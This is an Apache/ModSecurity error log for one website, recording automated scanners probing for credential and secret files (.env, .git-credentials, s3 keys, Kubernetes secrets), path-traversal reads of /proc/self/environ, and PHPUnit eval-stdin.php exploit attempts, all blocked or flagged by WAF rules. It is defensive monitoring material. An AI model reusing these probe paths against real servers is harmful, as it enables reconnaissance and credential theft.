[Tue May 19 20:04:32.941970 2026] [:error] [pid 38697:tid 38739] [client 77.83.39.119:7040] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s3%2ekey"] [unique_id "agxR0KXP9pP6Kgt-msRN0gAAABg"]
[Tue May 19 20:04:33.072065 2026] [:error] [pid 38699:tid 38752] [client 77.83.39.119:2456] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/root/%2egitconfig"] [unique_id "agxR0b--Adsw_P-dthagCgAAAEo"]
[Tue May 19 20:04:33.072293 2026] [:error] [pid 38697:tid 38733] [client 77.83.39.119:2440] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%2egit-secret"] [unique_id "agxR0aXP9pP6Kgt-msRN0wAAABI"]
[Tue May 19 20:04:33.072608 2026] [:error] [pid 38699:tid 38760] [client 77.83.39.119:2444] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/root/%2egit-credentials"] [unique_id "agxR0b--Adsw_P-dthagCwAAAFI"]
[Tue May 19 20:04:33.628990 2026] [:error] [pid 38699:tid 38754] [client 77.83.39.119:2484] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%2egit-credentials"] [unique_id "agxR0b--Adsw_P-dthagDAAAAEw"]
[Tue May 19 20:04:33.629855 2026] [:error] [pid 38699:tid 38753] [client 77.83.39.119:2472] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/var/www/html/%2eenv"] [unique_id "agxR0b--Adsw_P-dthagDQAAAEs"]
[Tue May 19 20:04:34.226030 2026] [:error] [pid 29823:tid 29858] [client 77.83.39.119:2498] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "agxR0mO09C0nAz8vRk5B_QAAAdM"]
[Tue May 19 20:04:34.667930 2026] [:error] [pid 46896:tid 46909] [client 77.83.39.119:7074] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s3/%2eenv%2ebak"] [unique_id "agxR0qCHyzL3Ci9LGE1h3wAAAYs"]
[Tue May 19 20:04:34.668283 2026] [:error] [pid 55881:tid 55897] [client 77.83.39.119:7078] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%2egit-credentials"] [unique_id "agxR0u-UExma0LUC7WAD7AAAAk4"]
[Tue May 19 20:04:35.078686 2026] [:error] [pid 38699:tid 38762] [client 77.83.39.119:2508] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "agxR07--Adsw_P-dthagDwAAAFQ"]
[Tue May 19 20:04:35.087925 2026] [:error] [pid 38699:tid 38747] [client 77.83.39.119:2520] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/app.js.map"] [unique_id "agxR07--Adsw_P-dthagEAAAAEU"]
[Tue May 19 20:04:35.867080 2026] [:error] [pid 46815:tid 46831] [client 77.83.39.119:44544] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%2eenv%2eexample"] [unique_id "agxR0yPnRhJOmA06LgpypQAAAU4"]
[Tue May 19 20:04:35.867083 2026] [:error] [pid 38814:tid 38819] [client 77.83.39.119:44550] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/laravel/%2eenv"] [unique_id "agxR0wvkKuBwP0epzWedlgAAAMM"]
[Tue May 19 20:04:35.868125 2026] [:error] [pid 29823:tid 29861] [client 77.83.39.119:44552] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/srv/%2eenv"] [unique_id "agxR02O09C0nAz8vRk5B_gAAAdY"]
[Tue May 19 20:04:37.053190 2026] [:error] [pid 29823:tid 29849] [client 77.83.39.119:36002] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "agxR1WO09C0nAz8vRk5B_wAAAco"]
[Tue May 19 20:04:37.420519 2026] [:error] [pid 29823:tid 29854] [client 77.83.39.119:44564] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/app/etc/env.php"] [unique_id "agxR1WO09C0nAz8vRk5CAAAAAc8"]
[Tue May 19 20:04:37.939913 2026] [:error] [pid 38699:tid 38763] [client 77.83.39.119:36030] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/api/v1/namespaces/default/secrets"] [unique_id "agxR1b--Adsw_P-dthagEQAAAFU"]
[Tue May 19 20:04:37.944417 2026] [:error] [pid 29823:tid 29852] [client 77.83.39.119:36046] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/app.js.map"] [unique_id "agxR1WO09C0nAz8vRk5CAgAAAc0"]
[Tue May 19 20:04:38.112682 2026] [:error] [pid 38705:tid 38771] [client 77.83.39.119:36060] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v1.24/secrets"] [unique_id "agxR1sg5dNOZ5umN9ltgMAAAAII"]
[Tue May 19 20:04:38.501170 2026] [:error] [pid 38699:tid 38744] [client 77.83.39.119:36088] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jsp/help-hierarchyTree%2ejsp"] [unique_id "agxR1r--Adsw_P-dthagEgAAAEI"]
[Tue May 19 20:04:38.662475 2026] [:error] [pid 29823:tid 29838] [client 77.83.39.119:36074] [client 77.83.39.119] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/config/parameters.yml" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/index_dev.php/_profiler/open"] [unique_id "agxR1mO09C0nAz8vRk5CBAAAAcM"]
[Tue May 19 20:04:38.896989 2026] [:error] [pid 38699:tid 38756] [client 77.83.39.119:36086] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/..%5c..%5c..%5c..%5c..%5c..%5cvar/log/apache2/access.log"] [unique_id "agxR1r--Adsw_P-dthagEwAAAE4"]
[Tue May 19 20:04:41.505627 2026] [:error] [pid 38699:tid 38764] [client 77.83.39.119:36104] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jsp/help-hierarchyTree%2ejsp"] [unique_id "agxR2b--Adsw_P-dthagFgAAAFY"]
[Tue May 19 20:04:41.762468 2026] [:error] [pid 38699:tid 38759] [client 77.83.39.119:36114] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/php"] [unique_id "agxR2b--Adsw_P-dthagFwAAAFE"]
[Tue May 19 20:04:43.230924 2026] [:error] [pid 38705:tid 38781] [client 77.83.39.119:44572] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jsp/help-hierarchyTree%2ejsp"] [unique_id "agxR28g5dNOZ5umN9ltgMQAAAIw"]
[Tue May 19 20:04:43.300008 2026] [:error] [pid 46815:tid 46834] [client 77.83.39.119:44582] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/php"] [unique_id "agxR2yPnRhJOmA06LgpyqAAAAVE"]
[Tue May 19 20:08:30.499741 2026] [:error] [pid 41573:tid 41587] [client 77.83.39.119:10572] [client 77.83.39.119] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/app/etc/local.xml" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/app/etc/local.xml"] [unique_id "agxSvi1A2bd6JDSW9RaMugAAAQw"]
[Tue May 19 20:08:31.246213 2026] [:error] [pid 41573:tid 41597] [client 77.83.39.119:48978] [client 77.83.39.119] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "agxSvy1A2bd6JDSW9RaMvgAAARY"]
[Tue May 19 20:08:31.247852 2026] [:error] [pid 38699:tid 38746] [client 77.83.39.119:48970] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/.%2e/.%2e/.%2e/.%2e/proc/self/environ"] [unique_id "agxSv7--Adsw_P-dthagjQAAAEQ"]
[Tue May 19 20:08:31.279431 2026] [:error] [pid 46815:tid 46819] [client 77.83.39.119:10666] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%2edocker/secrets%2ejson"] [unique_id "agxSvyPnRhJOmA06LgpyzgAAAUI"]
[Tue May 19 20:08:31.916590 2026] [:error] [pid 41573:tid 41584] [client 77.83.39.119:49012] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config/initializers/twilio.rb"] [unique_id "agxSvy1A2bd6JDSW9RaMvwAAAQk"]
[Tue May 19 20:08:32.064184 2026] [:error] [pid 46896:tid 46919] [client 77.83.39.119:49004] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config/initializers/sendgrid.rb"] [unique_id "agxSwKCHyzL3Ci9LGE1h9QAAAZU"]
[Tue May 19 20:08:32.280715 2026] [:error] [pid 38814:tid 38817] [client 77.83.39.119:10620] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config/initializers/twilio.rb"] [unique_id "agxSwAvkKuBwP0epzWedzQAAAME"]
[Tue May 19 20:08:33.177231 2026] [:error] [pid 41573:tid 41592] [client 77.83.39.119:49092] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/phpinfo"] [unique_id "agxSwS1A2bd6JDSW9RaMwQAAARE"]
[Tue May 19 20:08:33.201312 2026] [:error] [pid 41573:tid 41589] [client 77.83.39.119:10636] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aws/buckets"] [unique_id "agxSwS1A2bd6JDSW9RaMwgAAAQ4"]
[Tue May 19 20:08:33.477120 2026] [:error] [pid 55881:tid 55903] [client 77.83.39.119:49112] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s3/credentials.json"] [unique_id "agxSwe-UExma0LUC7WAEOgAAAlQ"]
[Tue May 19 20:08:34.258445 2026] [:error] [pid 38697:tid 38724] [client 77.83.39.119:10716] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rest/credentials-for-node"] [unique_id "agxSwqXP9pP6Kgt-msROXAAAAAk"]
[Tue May 19 20:08:34.427459 2026] [:error] [pid 38697:tid 38715] [client 77.83.39.119:49132] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/magento/app/etc/env.php"] [unique_id "agxSwqXP9pP6Kgt-msROXQAAAAA"]
[Tue May 19 20:08:34.615664 2026] [:error] [pid 38697:tid 38738] [client 77.83.39.119:49144] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test/phpinfo.php"] [unique_id "agxSwqXP9pP6Kgt-msROXgAAABc"]
[Tue May 19 20:08:34.688280 2026] [:error] [pid 38699:tid 38743] [client 77.83.39.119:10742] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/phpinfo%2ephp"] [unique_id "agxSwr--Adsw_P-dthagjwAAAEE"]
[Tue May 19 20:08:34.699307 2026] [:error] [pid 41573:tid 41587] [client 77.83.39.119:59330] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/api/v1/credentials"] [unique_id "agxSwi1A2bd6JDSW9RaMxQAAAQw"]
[Tue May 19 20:08:34.699328 2026] [:error] [pid 41573:tid 41577] [client 77.83.39.119:59336] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/api/credentials"] [unique_id "agxSwi1A2bd6JDSW9RaMxgAAAQI"]
[Tue May 19 20:12:54.562894 2026] [:error] [pid 38697:tid 38738] [client 77.83.39.119:46696] [client 77.83.39.119] ModSecurity: Access denied with code 403 (phase 2). String match "<?" at REQUEST_BODY. [file "/usr/local/apache/modsecurity-cwaf/rules/30_Apps_OtherApps.conf"] [line "2718"] [id "244600"] [rev "1"] [msg "COMODO WAF: Arbitrary PHP code execution in PHPUnit before 4.8.28 and 5.x before 5.6.3 (CVE-2017-9841)||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/flavor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "agxTxqXP9pP6Kgt-msRO3wAAABc"]
[Tue May 19 20:17:38.968199 2026] [:error] [pid 38697:tid 38719] [client 77.83.39.119:39434] [client 77.83.39.119] ModSecurity: Access denied with code 403 (phase 2). String match "<?" at REQUEST_BODY. [file "/usr/local/apache/modsecurity-cwaf/rules/30_Apps_OtherApps.conf"] [line "2718"] [id "244600"] [rev "1"] [msg "COMODO WAF: Arbitrary PHP code execution in PHPUnit before 4.8.28 and 5.x before 5.6.3 (CVE-2017-9841)||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "windfarmcoolants.com.au"] [uri "/sites/all/libraries/mailchimp/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "agxU4qXP9pP6Kgt-msRPfAAAAAQ"]
[Wed May 20 00:06:14.365199 2026] [:error] [pid 38699:tid 38742] [client 45.124.146.34:53985] [client 45.124.146.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.124.146.34, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "agyKdr--Adsw_P-dtha_mgAAAEA"]
[Wed May 20 00:06:14.366497 2026] [:error] [pid 46896:tid 46913] [client 45.124.146.34:53984] [client 45.124.146.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.124.146.34, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "agyKdqCHyzL3Ci9LGE1tZQAAAY8"]
[Wed May 20 00:06:14.370288 2026] [:error] [pid 46896:tid 46913] [client 45.124.146.34:53984] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Wed May 20 00:06:14.370288 2026] [:error] [pid 38699:tid 38742] [client 45.124.146.34:53985] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Wed May 20 03:28:13.036980 2026] [:error] [pid 53881:tid 53912] [client 129.212.225.226:49937] [client 129.212.225.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 129.212.225.226, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "agy5vzCsZUCRXUd9zHC-wAAAAEE"], referer: https://wordpress.org/
[Wed May 20 03:28:17.969659 2026] [:error] [pid 53881:tid 53912] [client 129.212.225.226:49937] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php, referer: https://wordpress.org/
[Wed May 20 08:14:34.333154 2026] [:error] [pid 44059:tid 44071] [client 129.212.225.226:53382] [client 129.212.225.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 129.212.225.226, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "agz86hfFs-oSOOcyjyxHGwAAAQo"]
[Wed May 20 08:14:34.336853 2026] [:error] [pid 44059:tid 44071] [client 129.212.225.226:53382] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed May 20 09:12:50.976229 2026] [:error] [pid 44059:tid 44068] [client 34.56.62.173:48200] [client 34.56.62.173] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "ag0KkhfFs-oSOOcyjyxgsQAAAQc"]
[Wed May 20 09:12:51.778848 2026] [:error] [pid 41278:tid 41314] [client 34.56.62.173:48212] [client 34.56.62.173] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.production"] [unique_id "ag0Kk_WiNKASEfiGdwZvzgAAAEU"]
[Wed May 20 09:12:52.986409 2026] [:error] [pid 41364:tid 41375] [client 34.56.62.173:33258] [client 34.56.62.173] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "ag0KlBKTmyvxtNXrN-hF7wAAAIk"]
[Wed May 20 12:23:43.977015 2026] [:error] [pid 41278:tid 41333] [client 212.30.36.115:56253] File does not exist: /usr/local/apache/htdocs/suspended-page/adminer.php
[Wed May 20 12:23:45.004720 2026] [:error] [pid 41364:tid 41375] [client 212.30.36.139:57115] File does not exist: /usr/local/apache/htdocs/suspended-page/adminer.php
[Wed May 20 12:23:50.508646 2026] [:error] [pid 7731:tid 7736] [client 212.30.36.150:52125] File does not exist: /usr/local/apache/htdocs/suspended-page/adminer.php
[Wed May 20 14:34:00.209114 2026] [:error] [pid 7664:tid 7667] [client 34.46.57.55:51715] [client 34.46.57.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "ag1V2HZ8s7o3eiqT2kvOtwAAAUA"]
